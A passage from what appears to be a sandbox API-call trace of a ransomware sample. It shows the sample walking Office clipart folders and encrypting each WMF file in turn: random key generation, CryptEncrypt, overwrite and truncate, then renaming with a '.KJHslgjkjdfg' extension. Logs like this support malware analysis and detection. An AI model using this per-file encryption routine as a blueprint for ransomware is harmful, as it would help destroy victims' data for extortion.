GetProcessHeap () returned 0x990000 [0218.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.294] GetProcessHeap () returned 0x990000 [0218.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.kjhslgjkjdfg")) returned 1 [0218.296] CloseHandle (hObject=0x130) returned 1 [0218.296] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0218.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.298] GetProcessHeap () returned 0x990000 [0218.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.298] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.301] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.301] GetProcessHeap () returned 0x990000 [0218.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.301] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.301] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.302] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x78a, lpOverlapped=0x0) returned 1 [0218.302] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790) returned 1 [0218.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.302] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x790, lpOverlapped=0x0) returned 1 [0218.302] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.302] SetEndOfFile (hFile=0x130) returned 1 [0218.305] GetProcessHeap () returned 0x990000 [0218.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.305] GetProcessHeap () returned 0x990000 [0218.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.kjhslgjkjdfg")) returned 1 [0218.306] CloseHandle (hObject=0x130) returned 1 [0218.307] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0218.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.310] GetProcessHeap () returned 0x990000 [0218.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.310] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.310] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0218.312] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.312] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.312] GetProcessHeap () returned 0x990000 [0218.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.312] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.312] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.313] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.313] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.313] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.313] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.313] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.313] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x326, lpOverlapped=0x0) returned 1 [0218.313] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x330, dwBufLen=0x330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x330) returned 1 [0218.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.313] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x330, lpOverlapped=0x0) returned 1 [0218.313] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.314] SetEndOfFile (hFile=0x130) returned 1 [0218.316] GetProcessHeap () returned 0x990000 [0218.316] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.316] GetProcessHeap () returned 0x990000 [0218.316] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.kjhslgjkjdfg")) returned 1 [0218.318] CloseHandle (hObject=0x130) returned 1 [0218.318] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0218.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.319] GetProcessHeap () returned 0x990000 [0218.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.319] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.320] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.320] GetProcessHeap () returned 0x990000 [0218.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.320] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.322] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.322] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.323] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x470, lpOverlapped=0x0) returned 1 [0218.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x470, dwBufLen=0x470 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x470) returned 1 [0218.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.323] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x470, lpOverlapped=0x0) returned 1 [0218.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.323] SetEndOfFile (hFile=0x130) returned 1 [0218.324] GetProcessHeap () returned 0x990000 [0218.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.324] GetProcessHeap () returned 0x990000 [0218.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.kjhslgjkjdfg")) returned 1 [0218.326] CloseHandle (hObject=0x130) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0218.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.327] GetProcessHeap () returned 0x990000 [0218.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.327] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.327] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.330] GetProcessHeap () returned 0x990000 [0218.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.330] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.331] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13c4, lpOverlapped=0x0) returned 1 [0218.331] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0) returned 1 [0218.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.332] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13d0, lpOverlapped=0x0) returned 1 [0218.332] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.332] SetEndOfFile (hFile=0x130) returned 1 [0218.335] GetProcessHeap () returned 0x990000 [0218.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.335] GetProcessHeap () returned 0x990000 [0218.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.kjhslgjkjdfg")) returned 1 [0218.336] CloseHandle (hObject=0x130) returned 1 [0218.337] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0218.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.338] GetProcessHeap () returned 0x990000 [0218.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.338] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: 